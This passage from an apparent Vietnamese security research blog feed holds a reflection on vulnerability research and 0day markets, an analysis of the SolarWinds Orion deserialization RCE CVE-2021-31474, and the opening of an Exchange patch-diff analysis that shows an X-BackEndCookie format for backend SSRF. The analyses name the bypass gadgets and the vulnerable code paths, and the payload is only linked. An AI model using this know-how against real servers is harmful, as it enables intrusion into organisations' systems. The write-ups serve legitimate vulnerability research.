<li><p><strong>High-Level Language Exploit</strong>: Mảng này mình gọi chung cho việc tìm kiếm lỗ hổng ở các nền tảng ngôn ngữ lập trình bậc cao, ví dụ như: Java, PHP, C#, Python … Các ngôn ngữ lập trình này có thể không tồn tại(hoặc là hiếm gặp) những lỗ hổng như là Buffer Overflow hay Use-after-free nữa. Thay vào đó là các lỗ hổng của trên nền tảng ngôn ngữ lập trình bậc cao như: Insecure Object Deserialize, SQL Injection, Command Injection …</p>
</li>
</ul>
<p>Cái tên “<strong>High-Level Language Exploit</strong>” cũng là do mình tự đặt để gọi chung cho những lỗ hổng trên nền tảng ngôn ngữ lập trình bậc cao, điển hình như: <strong>Java, C#, Python, PHP, Ruby</strong>, … những ngôn ngữ lập trình mà theo mình cảm nhận là dễ tiếp cận cho người dùng phổ thông!</p>
<p>Trong những năm gần đây, một số lỗ hổng kinh điển xuất hiện trên các nền tảng lập trình bậc cao này có thể kể đến như: <em>SQL Injection, LFI, Insecure Deserialization, XXE</em> (định thêm XSS nhưng hết chỗ ròi ( ͡° ͜ʖ ͡°)) …</p>
<p>Có những loại bug chỉ xảy ra trên 1 nền tảng, nhưng cũng có những loại bug xuất hiện ở nhiều nền tảng khác nhau, ví dụ như: Insecure Deserialization xuất hiện trên cả Java, C#, PHP, nodejs, Python, và mới đây ngta còn phát hiện nó cũng có trên cả Ruby nữa.</p>
<p>Tại VNPT, mình bắt đầu đi sâu vào nghiên cứu lỗ hổng bảo mật từ khoảng cuối năm 2018, và lỗ hổng đầu tiên mình nghiên cứu là 1day của Liferay về Java Deserialization.</p>
<p>Hồi đó, cách nhìn của mình về Java Deserialization khá là đơn giản và có phần lệch lạc, chỉ đơn thuần là gen payload = ysoserial và gửi lên =&gt; RCE.</p>
<p>Được thì được, mà không được thì thoi cũng kệ, chả nghiên cứu sâu hơn về cách hoạt động hay gì cả.</p>
<p>¯_(ツ)_/¯ vì mình có một cái suy nghĩ trong đầu, mà có thể nhiều bạn làm ngành sec cũng có, đó là: “<em>kỹ thuật này cao siêu lắm, bao nhiêu ông trên thế giới còn chưa bypass được, thì mình tuổi đ’ gì mà bypass được chứ? …</em>”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242826628/RIGhd-sOv.png" alt /></p>
<p>Nhưng cuộc sống không giống với cuộc đời, hồi đó thì ban đầu mình có xem sơ sơ và bỏ qua mấy lỗi của liferay như vậy,</p>
<p>Nhưng một tuần sau, bên mình lại nhận thêm gần chục trang cũng dùng liferay như vậy, và kết quả sau mỗi lần pentest các site đó thường ko đc khả quan lắm.</p>
<p>Lý do cũng dễ hiểu, là vì dev tận dụng hầu hết các tính năng mà liferay cung cấp để code portlet, prepare statement … hầu như các lỗi SQLi, LFI, XSS không còn nữa. Điều này thúc đẩy mình phải tìm ra một thứ gì đó tốt hơn, nguy hiểm hơn, để đem lại được lợi thế và tiếng nói của các bản report đầu ra của team pentest.</p>
<p>Hiểu đơn giản một điều như thế này, một bản report toàn XSS với info leak thì may mắn lắm 2 tháng sau dev sẽ chịu nghe lời và fix các lỗi đó, nhưng khi mà đã deface tè le server ròi thì chắc chắn đội dev sẽ nhảy ngược lên và chạy đi fix cái lỗi đó, ¯_(ツ)_/¯ cuộc sống mà!</p>
<p>Thành quả là sau đó mình cùng với một số ae trong team đã thử nghiệm thành công lỗ hổng Liferay Deserialization tưởng như chỉ có trong sách vở (<a target="_blank" href="https://www.tenable.com/security/research/tra-2017-01">https://www.tenable.com/security/research/tra-2017-01</a>), và phát hiện ra không chỉ nhiều website của các tổ chức, chính phủ tại Việt Nam đang dính lỗ hổng này, mà tới những tổ chức lớn ở nước ngoài cũng có chung tình trạng:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242828299/ANjbXKDgF.jpeg" alt /></p>
<p>Lúc này mình mới vỡ lẽ ra một tật xấu trong tư tưởng của nhiều thành phần nằm trong cộng đồng Sec nói chung:</p>
<ul>
<li>“Ai cũng nghĩ là sẽ có người khác làm việc đó, và cuối cùng chả ai là người bắt tay vào làm cả.”</li>
</ul>
<p>Sau khi nghiên cứu bug đầu tiên này xong, với mình, đây là một dấu mốc quan trọng, bởi đã đạt được một thành tựu gì đó, nó đem lại cái động lực mạnh mẽ thúc đẩy cho quá trình tiếp tục nghiên cứu sâu hơn về lỗ hổng trên nền tảng Java này!</p>
<p>Và có lẽ không chỉ riêng với mình, mà nó cũng là điều tối quan trọng với những bạn trẻ mới bắt đầu bước chân vào ngành này nói chung, cũng như về mảng nghiên cứu nói riêng. Thành tựu ban đầu có thể chỉ là 1 mảnh rất nhỏ so với những thứ nghiên cứu sau này, nhưng nó lại xác định cho biết bản thân mình đang đi đúng hướng, là nguồn cảm hứng cho bản thân tự xác định được sẽ tiếp tục làm gì trong tương lai!</p>
<p>.</p>
<p>.</p>
<p>.</p>
<p>Thôi lan man chuyện cá nhân nhiều quá,</p>
<p>👉Tiếp tục là nói về đối tượng thường được nhắm đến của các Researcher này.</p>
<p>Với những người làm về nghiên cứu lỗ hổng trên các ngôn ngữ lập trình bậc cao như bọn mình, đối tượng được nhắm đến thường là các loại máy chủ web, máy chủ gì gì đó, mà có thể truy cập từ bên ngoài đối tượng đó vào, ví dụ như: Apache Tomcat, Weblogic, SSH Server, … những thứ gì mà lộ ra bên ngoài, có thể truy cập vào được thì đều trở thành mục tiêu bị săn đón bởi Researcher!</p>
<p>Và đương nhiên, những loại lỗ hổng mà chúng tôi hướng tới, là những loại lỗ hổng nghiêm trọng, có thể thao túng được đối tượng như: Deserialization, RCE, LFI, SQL Injection …</p>
<p>Những lỗi client-side như XSS hay CSRF gì đó thường được bỏ qua, cho dù nó kịch bản bypass/tấn công có hay đến đâu thì cũng nó cũng vẫn phải dựa dẫm vào một tác nhân khác để có thể tấn công thành công, ở đây là dựa dẫm vào Client.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242829894/B5EvAlMJuJ.png" alt="Việc bạn show 1 cái pop up “alert(1)” trên facebook không có nghĩa là bạn đã hack đc web đó" /><em>Việc bạn show 1 cái pop up “alert(1)” trên facebook không có nghĩa là bạn đã hack đc web đó</em></p>
<p>👉Vậy tại sao lại là các đối tượng remote, server?</p>
<p>Dưới đây là một mô hình cơ bản về vị trí cũng như thành phần tổ chức hoạt động của một máy chủ dịch vụ nào đó.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242831900/ndNRcDixv.png" alt /></p>
<p>Để một website hoạt động được, mã nguồn của website đó cần được deploy lên máy chủ web để chạy. Đặt vị trí mình vào vị trí của attacker, và mục đích là phải tấn công được website kia để lấy về dữ liệu.</p>
<p>Bỏ qua trường hợp ngay trên mã nguồn của website đó đã có lỗi và cho phép RCE để chiếm quyền điều khiển,</p>
<p>Giả sử như website đó chỉ là một dạng landing page, cũng có vài cái XSS này nọ nhưng website này làm gì có admin mà chiếm phiên??</p>
<p>Đó là khi mũi tên tấn công được chuyển hướng, thay vì nhắm vào mã nguồn của website đó, tại sao ko nhắm vào cái máy chủ dịch vụ mà website đó đang sử dụng??</p>
<p>Một khi đã xâm nhập thành công vào máy chủ đó, thì việc đánh cắp mã nguồn hay database đã dễ dàng hơn rất nhiều, chỉ là việc sớm hay muộn mà thôi. Thậm chí trong thực tế, các máy chủ nội bộ lân cận cũng bị ảnh hưởng do lúc này attacker đã nằm trong mạng nội bộ, và có thể tấn công các máy chủ lân cận đó bất cứ lúc nào!</p>
<p>Thực chất thì các loại web server, ssh server … cũng là do con người xây dựng, không thể nào tránh khỏi những sai sót trong quá trình lập trình, và điều đó vô tình lại tạo ra việc cho những người như mình ( ͡° ͜ʖ ͡°).</p>
<p>Hơn nữa, không giống như mỗi website chỉ sử dụng một bộ mã nguồn cho chính website đó, các dịch vụ như web server, ssh server, vpn server … lại được sử dụng chung và có độ phổ biến khá là rộng,</p>
<p>Đơn cử như nền tảng Liferay, ở Việt Nam nói chung đã có tới hàng trăm website của tổ chức, chính phủ sử dụng nền tảng này. Chỉ cần tìm ra một lỗ hổng RCE trên Liferay thì hoàn toàn có thể tấn công và chiếm quyền điều khiển hàng trăm website đó mà không cần biết developer đã code ngon, xịn như nào.</p>
<p>Vì bản chất lỗi không phải tại ông developer, mà lỗi nó xảy ra ở chính cái nền tảng mà ông developer đó sử dụng ¯_(ツ)_/¯.</p>
<p>👉Qua một vài điểm trên, có thể thấy tầm quan trọng của việc Research đối với công việc pentest nói riêng, và đối với ngành Sec nói chung như thế nào.</p>
<p>.</p>
<p>.</p>
<p>Với tầm quan trọng như thế, và đặc biệt là trong thời đại bùng nổ của chiến tranh mạng như hiện nay, những người làm công việc này có thể ví như những tay sản xuất vũ khí lạnh vậy!</p>
<p>Ngay trong quý 1/2021 vừa rồi, hơn chục 0day bị phát hiện khi đem đi tấn công ngoài thực tế!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242833528/10YmlZeWm.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242835199/InpyJZ7U2.png" alt /></p>
<p>Do là 0day, các máy chủ chưa hề có cơ chế phát hiện và phòng vệ gì nên khi phát hiện tấn công thì mọi chuyển cũng đã rồi, hacker đã tấn công sâu vào hệ thống và lấy đi những dữ liệu quan trọng, gây ảnh hưởng lớn tới tổ chức.</p>
<p>Vậy bạn có thắc mắc là tại sao ngày càng nhiều 0day bị sử dụng vào tấn công trong thực tế như vậy?</p>
<p>Để trả lời cho câu hỏi này thì cần phải quay về vấn đề gốc rễ:</p>
<ul>
<li>“<em>Làm gì để ra tiền với Vulnerability Research?</em>”</li>
</ul>
<p>¯_(ツ)_/¯</p>
<p>Công việc Research khá là khó khăn và tốn nhiều thời gian để có thể ra được kết quả.</p>
<p>Ví dụ như với công việc hiện tại của mình, có thể mất tới 1–2 tháng để tìm ra một lỗ hổng 0day có giá trị, nhiều khi ròng rã mấy tháng trời không ra được kết quả gì.</p>
<p>Vậy trong khoảng thời gian 2–3 tháng đó thì ai nuôi?</p>
<p>Hiện tại ở VN, nghề Vuln Research nói chung vẫn chưa có chỗ đứng lắm, vì thực tế là nó không làm ra được kết quả ngay, không làm ra tiền được, nên chả công ty nào dám nhận về nuôi, ¯_(ツ)_/¯ bài toán kinh tế mà. Chả vậy mà nhiều anh em xã hội đã xác định ra đi tìm đường cứu nước, nói chảy máu chất xám thì cũng không đúng, nhưng thực tế nó phũ phàng vậy!</p>
<p>👉Vậy làm gì để ra tiền với Vuln Research?</p>
<p>Để làm tiền với Vuln Research, người ta thường tìm đến một số “chợ đen, chợ đỏ 0day” như ZDI, SSD, NVWA, Z*rodium.</p>
<p>Lỗ hổng 0day sau khi được người của những “chợ 0day” này confirm tính đúng đắn thì sẽ thương lượng giá và trao tiền cho hacker. Có thể sau đó hacker cũng phải ký một thỏa thuận không tiết lộ gì đó về lỗ hổng này.</p>
<p>Số tiền nhận được cũng tùy vào mức độ nghiêm trọng và độ phổ biến của đối tượng đó, ví dụ như: một 0day Pre-Auth RCE trên Exchange có giá tầm 4–5 tỉ VND, nhưng cũng có nhưng target bèo bọt, có 100–200USD với 1 bug tương tự như vậy😢.</p>
<p>Và có ai thắc mắc sau đó cái 0day này sẽ đi đâu ko ( ͡° ͜ʖ ͡°).</p>
<p>Mình cũng không rõ về tương lai của những 0day sau khi được bán cho chợ đen,</p>
<ul>
<li><p>Có người nói là được chính phủ sử dụng để bắt tội phạm,</p>
</li>
<li><p>Có người lại nói được tội phạm sử dụng để hack chính phủ</p>
</li>
</ul>
<p>¯_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Phân tích lỗ hổng SolarWinds Orion Deserialization to RCE (CVE-2021–31474)]]></title><description><![CDATA[Sau 2 tháng trời diff patch Exchange thì tới patch của tháng 5 này thì mình đã bị ngộ độc và quá chán nản,

Mang tiếng patch của Pwn2own mà chỉ có 5–6 điểm khác biệt,
Theo suy đoán của mình thì có lẽ 1 phần nào đó trong những chain attack tại Pwn2own...]]></description><link>https://testanull.com/phan-tich-lo-hong-solarwinds-orion-deserialization-to-rce-cve-2021-31474-b31a5f168bf0</link><guid isPermaLink="true">https://testanull.com/phan-tich-lo-hong-solarwinds-orion-deserialization-to-rce-cve-2021-31474-b31a5f168bf0</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Tue, 25 May 2021 10:27:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242805129/c1lskhz43.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Sau 2 tháng trời diff patch Exchange thì tới patch của tháng 5 này thì mình đã bị ngộ độc và quá chán nản,</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242767940/69SV0HbHW.png" alt /></p>
<p>Mang tiếng patch của Pwn2own mà chỉ có 5–6 điểm khác biệt,</p>
<p>Theo suy đoán của mình thì có lẽ 1 phần nào đó trong những chain attack tại Pwn2own đã bị vá ngay vào bản vá của tháng 4,</p>
<p>Và theo thông tin từ ZDI thì có vẻ như bản patch tháng 5 này của M$ còn thiếu bug nữa:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242769445/_xmIBu5Rd.png" alt /></p>
<p>.</p>
<p>.</p>
<p>Dạo quanh ZDI để tìm cảm hứng thì bất chợt gặp 1 advisory khá là hay ho:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242771121/6VeIGr-1m.png" alt /></p>
<p>SolarWinds Network Performance Monitor FromJson Deserialization of Untrusted Data Remote Code Execution Vulnerability (<strong>CVE-2021–31474</strong>) (<a target="_blank" href="https://www.zerodayinitiative.com/advisories/ZDI-21-602/">https://www.zerodayinitiative.com/advisories/ZDI-21-602/</a>)</p>
<p>Sẵn tiện vừa nghiên cứu xong bug deserialize của Exchange, và cũng đang muốn đổi gió nên mình kéo về nghiên cứu bug này!</p>
<p>SolarWinds có nhiều bộ bundle software, phục vụ cho từng mục đích khác nhau, ví dụ như: System management/Network management/DB management…</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242772898/esbo3IClD.png" alt /></p>
<p>Cách setup bộ SolarWinds cũng khá đơn giản, hoàn toàn có thể tải bản trial tại trang chủ: <a target="_blank" href="https://www.solarwinds.com/network-performance-monitor">https://www.solarwinds.com/network-performance-monitor</a></p>
<p>Việc setup chỉ đơn giản là click click và chờ, trong bundle đã bao gồm tất cả các software cần thiết rồi,</p>
<p>.</p>
<p>.</p>
<p>Sau khi search thêm 1 vòng thì có được thêm thông tin từ trang chủ của SolarWinds (<a target="_blank" href="https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/orion_platform_2020-2-5_release_notes.htm">https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/orion_platform_2020-2-5_release_notes.htm</a>):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242774556/1RIPEP1ie.png" alt /></p>
<p>Kết hợp thông tin của ZDI và SolarWinds thì có thể biết được một số thông tin như sau:</p>
<ul>
<li><p>Lỗ hổng này không chỉ tồn tại trên SolarWinds Network Performance Monitor (NPM), mà chính xác hơn nó tồn tại trên <strong>SolarWinds Orion Platform</strong> (các product khác của SolarWinds như SAM, SEM, VIM, IPM, …đều được xây dựng trên nền tảng này).</p>
</li>
<li><p>Lỗ hổng này tồn tại trên các phiên bản Orion &lt; 2020.2.5</p>
</li>
<li><p>Lỗ hổng này yêu cầu đăng nhập với một user bất kỳ, chứ không phải pre-auth theo như thông tin của ZDI</p>
</li>
</ul>
<p>Quay trở lại với thông tin từ document của SolarWinds, lỗ hổng này tồn tại trong chức năng “test alert actions” của web interface:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242776033/369NK8YM7.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242777564/_Jb4jFvM7.png" alt /></p>
<p>Chức năng Test Action này cũng đã từng được ZDI đề cập tới trong 1 bài viết về những lỗ hổng có liên quan tới vụ SUNBURST <a target="_blank" href="https://www.zerodayinitiative.com/blog/2021/1/20/three-bugs-in-orions-belt-chaining-multiple-bugs-for-unauthenticated-rce-in-the-solarwinds-orion-platform">https://www.zerodayinitiative.com/blog/2021/1/20/three-bugs-in-orions-belt-chaining-multiple-bugs-for-unauthenticated-rce-in-the-solarwinds-orion-platform</a></p>
<p>Nội dung của 1 request Test Action có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242779172/2UNDUVmjO.png" alt /></p>
<p>Sau khi bới móc một hồi thì mình tìm ra class handler entrypoint này, đó là <em>SolarWinds.Orion.Web.Actions.ActionControllerImplementation.</em></p>
<p>Mình không rõ nguyên nhân do đâu mà phần code xử lý chính của nó đã bị obfuscate hoàn toàn, làm cho quá trình đọc code gặp khá nhiều khó khăn:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242780794/SyySOw9ka.png" alt /></p>
<p>Việc phân tích lỗ hổng này cũng dựa vào tâm link là chính chứ mình cũng ko có đọc đc kỹ lắm =)).</p>
<p>Sau khi xem xét 1 vòng thì mình nhận ra lỗ hổng Deserialization này xảy ra ngay tại bước parse dữ liệu JSON của chức năng TestAction,</p>
<p>Tại method TestAction, dữ liệu được parse bằng method <em>ActionControllerImplementation.DeserializeObjectWithTypes()</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242782402/pM-X5khwy.png" alt /></p>
<p>Nội dung của method này có dạng như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242783964/qm-AoywXA.png" alt /></p>
<p><em>DeserializeObjectWithTypes()</em> tiếp tục gọi <em>SerializationHelper.FromJson() </em>với<em> </em>TypeNameHandling = TypeNameHandling.Objects</p>
<p><em>SerializationHelper.FromJson() </em>lại tiếp tục gọi <em>SerializationHelper.FromJsonInternal() -&gt; JsonConvert.DeserializeObject()</em></p>
<p>Dựa vào những kiến thức mình được biết về JSON Deserialize trong .Net (<a target="_blank" href="https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf">https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf</a>) thì tại entrypoint này hoàn toàn có thể khai thác Insecure Deserialization -&gt; RCE.</p>
<p>Tuy nhiên việc deserialize -&gt; RCE không đơn giản như vậy,</p>
<p>Trong thực tế, trường hợp <em>JsonConvert.DeserializeObject&lt;<strong>object</strong>&gt;() </em>hay <em>JsonConvert.DeserializeObject&lt;<strong>GadgetType</strong>&gt;() </em>rất rất hiếm khi hoặc có thể nói là không bao giờ xảy ra.</p>
<p>Do vậy mà để khai thác được Deserialize trên .Net, cần phải lươn lẹo và lắt léo hơn một tí</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242785580/UwJIx6QA6.png" alt /></p>
<p>Xem kỹ hơn ở dữ liệu đầu vào được deserialize, đây là một instance của kiểu <em>SolarWinds.Orion.Core.Models.Actions.Contexts.ActionContextBase</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242787132/dbn5Lph1V.png" alt /></p>
<p>Đáng chú ý, trong class này có field với kiểu <em>SolarWinds.Orion.Core.Models.MacroParsing.MacroContext</em>, được gán attribute [DataMember]</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242788608/Cei4VOYjZ.png" alt /></p>
<p>(Trong .Net deser, các field có attribute [DataMember] mới có thể được serialize/deserialize với DataContractSerializer).</p>
<p>Trong class <em>MacroContext </em>lại chứa field DataMember với kiểu <em>List&lt;ContextBase&gt;:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242790034/4kaYLEzAb.png" alt /></p>
<p>Nội dung của class <em>ContextBase </em>như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242791484/V14YBmlyE.png" alt /></p>
<p>Trong đó, các khai báo “[KnownType(typeof(<em>ClassX</em>))]” ngay phía trên class biểu thị cho các <em>ClassX </em>này là một trong những class triển khai của class này.</p>
<p>Ví dụ với trường hợp trên:</p>
<ul>
<li>Khai báo “[KnownType(typeof(<em>SwisEntityContext</em>))]” trước class <em>ContextBase</em></li>
</ul>
<p>Có nghĩa class <em>SwisEntityContext </em>là một class triển khai của class<em> ContextBase.</em></p>
<p>Hay có thể hiểu theo nghĩa ngắn gọn hơn, khai báo như vậy có nghĩa class <em>ContextBase </em>này chỉ chấp nhận deserialize những class được khai báo là:</p>
<ul>
<li><p><em>ReportingContext</em></p>
</li>
<li><p><em>AlertingContext</em></p>
</li>
<li><p><em>GenericContext</em></p>
</li>
<li><p><em>SwisEntityContext</em></p>
</li>
</ul>
<p>Tiếp tục xem xét một trong những class triển khai của <em>ContextBase,</em> là class<em> SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext. SwisEntityContext </em>có chứa một field với kiểu <em>SolarWinds.InformationService.Contract2.PropertyBag:</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242792922/ZpF3PAitD.png" alt /></p>
<p><em>PropertyBag </em>lại kế thừa<em> Dictionary&lt;string, object&gt;</em></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242794402/ew-oMPVKs.png" alt /></p>
<p>=&gt; Có thể lợi dụng điều này để gài gadget vào bên trong object.</p>
<p>Thay vì deserialize trực tiếp gadget RCE, mình gói gadget vào một Object hợp lệ ròi deserialize nó!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242796303/72OYvRjc5.png" alt /></p>
<p>.</p>
<p>.</p>
<p>Mọi thứ gần như đã hoàn hảo, tuy nhiên có một chi tiết nhỏ mà mình đã bỏ sót chưa nhắc đến,</p>
<p>Trước khi gọi <em>FromJsonInternal()</em>, method <em>SerializationHelper.ApplyDeserializationBlacklist() </em>được gọi</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242798485/oGA5k_kJr.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242800002/57GF07uM1-.png" alt /></p>
<p>Theo như nội dung của method <em>SerializationHelper.ApplyDeserializationBlacklist(), </em>nó set giá trị blacklist, hạn chế những class có thể được deserialize, bao gồm các class sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242801555/6aia3XwtU.png" alt /></p>
<p>Tuy nhiên nếu chỉ dựa vào blacklist này là chưa đủ, đối chiếu theo ysoserial.net, còn có rất nhiều gadget khác chưa bị nằm trong blacklist này, và vẫn có thể bị lợi dụng để RCE như: <em>RolePrincipal, SessionSecurityToken, SessionViewStateHistoryItem …</em></p>
<p>Ở đây mình sử dụng gadget SessionSecurityToken cho PoC,</p>
<p>Kết hợp tất cả các dữ liệu trên được PoC như sau:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242803286/Lgmn-D2A4.png" alt /></p>
<p>PoC payload: <a target="_blank" href="https://gist.github.com/testanull/dcb536b409a28d74430a441d53b14456">https://gist.github.com/testanull/dcb536b409a28d74430a441d53b14456</a></p>
<p>PoC video:</p>
<p>Như vậy mình cũng đã nói qua về lỗ hổng CVE-2021–31474 của SolarWinds Orion, cũng như một phần nhỏ của Json.Net Deserialize,</p>
<p>Kiến thức về .Net deserialize còn khá mới nên có thể sẽ có nhiều sai sót, mong bạn đọc có thể bổ sung và góp ý!</p>
<p>Cảm ơn các bạn đã theo dõi!</p>
<p><strong>Jang</strong></p>
]]></content:encoded></item><item><title><![CDATA[Microsoft Exchange From Deserialization to Post-Auth RCE (CVE-2021–28482)]]></title><description><![CDATA[Sau sự kiện proxylogon xảy ra vào tháng 3 vừa rồi, có vẻ như đã tiếp một nguồn cảm hứng mới cho các Researcher đã/đang làm về Exchange.
Attack vector này khá là mới, không đi theo những lối mòn về lỗ hổng trên Exchange, có lẽ như trước đó chưa ai từn...]]></description><link>https://testanull.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f</link><guid isPermaLink="true">https://testanull.com/microsoft-exchange-from-deserialization-to-post-auth-rce-cve-2021-28482-e713001d915f</guid><dc:creator><![CDATA[Jang]]></dc:creator><pubDate>Mon, 26 Apr 2021 05:17:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242750396/6MoPvaMV3.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Sau sự kiện proxylogon xảy ra vào tháng 3 vừa rồi, có vẻ như đã tiếp một nguồn cảm hứng mới cho các Researcher đã/đang làm về Exchange.</p>
<p>Attack vector này khá là mới, không đi theo những lối mòn về lỗ hổng trên Exchange, có lẽ như trước đó chưa ai từng tìm ra chain attack nào trên Exchange như vậy.</p>
<p>Cũng vào thời điểm đó là đang diễn ra Pwn2Own 2021 Vancouver, trong list target có Exchange được treo thưởng với 200k$USD ~= 5 tỏi VND …</p>
<p>Đây có lẽ là target hot nhất trong đợt p2o này, có tới 3 team cùng target vào Exchange, trong đó có: Orange from Devcore, Phạm Khánh đến từ Viettel, Steven from SrcIncite.</p>
<p>Mặc dù ngay trong lần thử đầu tiên, team Orange đã thành công và ăn trọn 200k$, nhưng độ nóng của các ngày sau mỗi khi tới target Exchange là không hề giảm. Mình, đồng nghiệp, và cũng như bao researcher khác cũng chỉ trông ngóng tới khi target Exchange lên sóng, để thỏa mãn tính tò mò cũng như xem author có rơi rớt được thông tin nhỏ nhoi gì trong quá trình PoC hay không 🤣. Dù 2 bug về sau đều bị đánh là Partial, có lẽ là do dup với bug đầu tiên của orange, nhưng chúng tôi vẫn rất nể phục họ, đen đủi chỉ là do sự sắp xếp trước sau mà thôi, chứ độ khủng của 3 chain mà 3 team mang đi attack đều như nhau cả.</p>
<p>Một tuần sau đó, 13/04, M$ release bản vá, cũng hơi bất ngờ một chút khi trong lần release này có tới 2/4 CVE của Exchange là pre-auth, và tất cả 4 CVE đó đều có thể RCE cả. Bất ngờ ở chỗ là p2o vừa diễn ra tuần trước, mà tuần này đã có patch thì có thể đây là 1 bug hoàn toàn khác so với đám bug được sử dụng tại p2o kia.</p>
<p><strong>#DIFF PATCH</strong></p>
<p>Sau vụ proxylogon, Exchange có vẻ tự dưng lại hot lên.</p>
<p>Lần ra patch, rất nhiều bên cùng đổ xô vào xâu xé cái patch, từ xã hội đen cho tới xã hội đỏ, nơi nào cũng tập trung tới 80% nhân lực vào làm vụ này.</p>
<p>Và dĩ nhiên, mình cũng ko là ngoại lệ ( ͡° ͜ʖ ͡°).</p>
<p>Ban đầu mục tiêu của mình với đồng nghiệp là nghiên cứu 2 lỗi pre-auth trước, có lẽ nhiều bên khác cũng như vậy.</p>
<p>Tuy nhiên việc này ko hề đơn giản như bọn mình nghĩ, và đã không thành công trong việc phân tích 2 bug pre-auth này,</p>
<p>Dưới đây chỉ là một số lưu ý về 2 bug pre-auth CVE-2021–28480 và 28481:</p>
<p>Tại <em>BackEndCookieEntryParser.TryParse()</em>, một vài dòng code mới thêm vào để kiểm tra lại host name và FQDN:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242712583/zo0waoAyJ.png" alt /></p>
<p>Có thể tại đây cũng đã từng xảy ra lỗi giống như X-BEResource-Cookie của proxylogon, có thể lợi dụng để set BackEndServer sau đó SSRF vào backend.</p>
<p>Class này xử lý cookie dạng: <em>X-BackEndCookie/X-BackEndCookie2</em>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242714106/3Cly6R1qd.png" alt /></p>
<p>BackEndCookieEntryParser.TryParse() -&gt; UnObscurify(). Method này hoạt động đơn giản là decode base64 cookie và xor với char “0xff”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242716010/snggU7jdP.png" alt /></p>
<p>Sau khi decode một chuỗi từ X-BackEndCookie có dạng như sau:</p>
<pre><code>**<span class="hljs-selector-tag">Database</span>~**<span class="hljs-selector-tag">eb60615b-fc77-44b7-b0e4-a7abf6f7f57e</span>**~~**<span class="hljs-selector-tag">2021-05-20T01</span><span class="hljs-selector-pseudo">:48</span><span class="hljs-selector-pseudo">:22</span>
</code></pre><p>Bên cạnh kiểu Database, còn có 1 kiểu khác là <strong>Server:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242717454/BUeQifbmX.png" alt /></p>
<p>Dạng như sau:</p>
<pre><code>**<span class="hljs-selector-tag">Server</span>**~**<span class="hljs-selector-tag">exchange</span><span class="hljs-selector-class">.evil</span><span class="hljs-selector-class">.corp</span>**~1942062522~2021<span class="hljs-selector-tag">-05-19T08</span><span class="hljs-selector-pseudo">:36</span><span class="hljs-selector-pseudo">:11</span>
</code></pre><p>Nhìn trông thì rất giống so với lỗi lần trước của X-BEResource,</p>
<p>Tuy nhiên, để lợi dụng được bug của X-BackEndCookie này thì không phải entrypoint nào cũng được!</p>
<p>Cookie này chỉ được nhận và xử lý bởi các class kế thừa class <strong>BEServerCookieProxyRequestHandler:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242718984/Aa5OgIc6O.png" alt /></p>
<p>Một số class kế thừa của nó là:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242720459/_81Zbv4IZ.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1624242721926/P-DkkJHTT.png" alt /></p>
<p>Đến đó chưa phải là hết, câu chuyện vẫn còn tiếp diễn!</p>
